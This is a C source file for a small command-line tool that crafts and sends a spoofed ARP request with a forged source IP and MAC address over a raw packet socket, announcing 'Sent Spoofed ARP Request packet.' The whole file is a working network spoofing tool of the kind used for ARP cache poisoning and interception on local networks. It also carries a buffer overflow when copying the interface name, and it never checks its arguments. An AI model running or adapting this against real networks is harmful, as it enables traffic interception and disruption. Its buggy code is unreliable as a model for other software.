arp_request.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>
#include <sys/socket.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
struct arp_hdr
{
   unsigned short int hardware;
   unsigned short int protocol;
   char hw_addr_len;
   char proto_addr_len;
   unsigned short operation;
   char src_addr[6];
   char src_ip[4];
   char dst_addr[6];
   char dst_ip[4];
};
void send_arp_packet(char *src_mac, char *src_ip, char *dst_mac0, char *dst_ip, char *dst_macf) {
   int sock, i;
   unsigned int buffer_size = sizeof(struct arp_hdr) + sizeof(struct ether_header);
   unsigned char buffer[buffer_size];
   memset(buffer, 0, buffer_size);
   struct ether_header *eth = (struct ether_header *)buffer;
   struct arp_hdr *arp = (struct arp_hdr *)(buffer + sizeof(struct ether_header));
   char dev[5];
   strncpy(dev, "eth0", 6);
   if ((sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP)))==-1) {
      perror("socket");
      exit(EXIT_FAILURE);
   }
   /* Ethernet header */
   memcpy(eth->ether_dhost,dst_macf,ETHER_ADDR_LEN);
   memcpy(eth->ether_shost,src_mac,ETHER_ADDR_LEN);
   eth->ether_type = htons(ETHERTYPE_ARP);
   /* ARP header */
   arp->hardware = htons(ARPHRD_ETHER);
   arp->protocol = htons(ETH_P_IP);
   arp->hw_addr_len = 6;
   arp->proto_addr_len = 4;
   arp->operation = htons(ARPOP_REQUEST);
   memcpy(arp->src_addr, src_mac, 6);
   memcpy(arp->src_ip, src_ip, 4);
   memcpy(arp->dst_addr, dst_mac0, 6);
   memcpy(arp->dst_ip, dst_ip, 4);

   struct sockaddr addr;
   strncpy(addr.sa_data, dev, sizeof(addr.sa_data));
   if ((sendto(sock, buffer, buffer_size, 0, &addr, sizeof(struct sockaddr)))==-1) {
      perror("sendto");
      exit(EXIT_FAILURE);
   }
   printf("Sent Spoofed ARP Request packet.\n");
   close(sock);
}
char *inetaddr(u_int32_t ip) {
   struct in_addr in;
   in.s_addr = ip;
   return inet_ntoa(in);
}
int main(int argc, char *argv[]) {
  struct ifreq if_data;
  int sockd;
  int i;

  /* IPs & MACs */
  char S_ip[4];
  char S_mac[6];
  char S_mac2[6];
  char V_ip[4];
  char V_mac[6];

  int tmp[26];

  memset(V_ip,0,4);
  memset(S_ip,0,4);

  /* destination IP */
  sscanf (argv[1], "%d.%d.%d.%d", &tmp[0], &tmp[1], &tmp[2], &tmp[3]);
  V_ip[0] = tmp[0];
  V_ip[1] = tmp[1];
  V_ip[2] = tmp[2];
  V_ip[3] = tmp[3];

  /* destination MAC */
  sscanf (argv[2],"%x:%x:%x:%x:%x:%x", &tmp[4], &tmp[5], &tmp[6], &tmp[7], &tmp[8], &tmp[9]);
  V_mac[0] = (unsigned char) tmp[4];
  V_mac[1] = (unsigned char) tmp[5];
  V_mac[2] = (unsigned char) tmp[6];
  V_mac[3] = (unsigned char) tmp[7];
  V_mac[4] = (unsigned char) tmp[8];
  V_mac[5] = (unsigned char) tmp[9];

  /* source IP */
  sscanf (argv[3], "%d.%d.%d.%d", &tmp[10], &tmp[11], &tmp[12], &tmp[13]);
  S_ip[0] = tmp[10];
  S_ip[1] = tmp[11];
  S_ip[2] = tmp[12];
  S_ip[3] = tmp[13];

  /* source MAC */
  sscanf (argv[4],"%x:%x:%x:%x:%x:%x", &tmp[14], &tmp[15], &tmp[16], &tmp[17], &tmp[18], &tmp[19]);
  S_mac[0] = (unsigned char) tmp[14];
  S_mac[1] = (unsigned char) tmp[15];
  S_mac[2] = (unsigned char) tmp[16];
  S_mac[3] = (unsigned char) tmp[17];
  S_mac[4] = (unsigned char) tmp[18];
  S_mac[5] = (unsigned char) tmp[19];

  /* source MAC */
  sscanf (argv[5],"%x:%x:%x:%x:%x:%x", &tmp[20], &tmp[21], &tmp[22], &tmp[23], &tmp[24], &tmp[25]);
  S_mac2[0] = (unsigned char) tmp[20];
  S_mac2[1] = (unsigned char) tmp[21];
  S_mac2[2] = (unsigned char) tmp[22];
  S_mac2[3] = (unsigned char) tmp[23];
  S_mac2[4] = (unsigned char) tmp[24];
  S_mac2[5] = (unsigned char) tmp[25];


  printf("SrcMAC: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", S_mac[0],  S_mac[1],  S_mac[2],  S_mac[3],  S_mac[4],  S_mac[5]);
  printf("DstMAC: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n", V_mac[0],  V_mac[1],  V_mac[2],  V_mac[3],  V_mac[4],  V_mac[5]);


  if ((sockd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
  {
     perror("socket");
     exit (0);
  }

    send_arp_packet(S_mac, S_ip, V_mac, V_ip, S_mac2);

    sleep(1);

    return 0;
}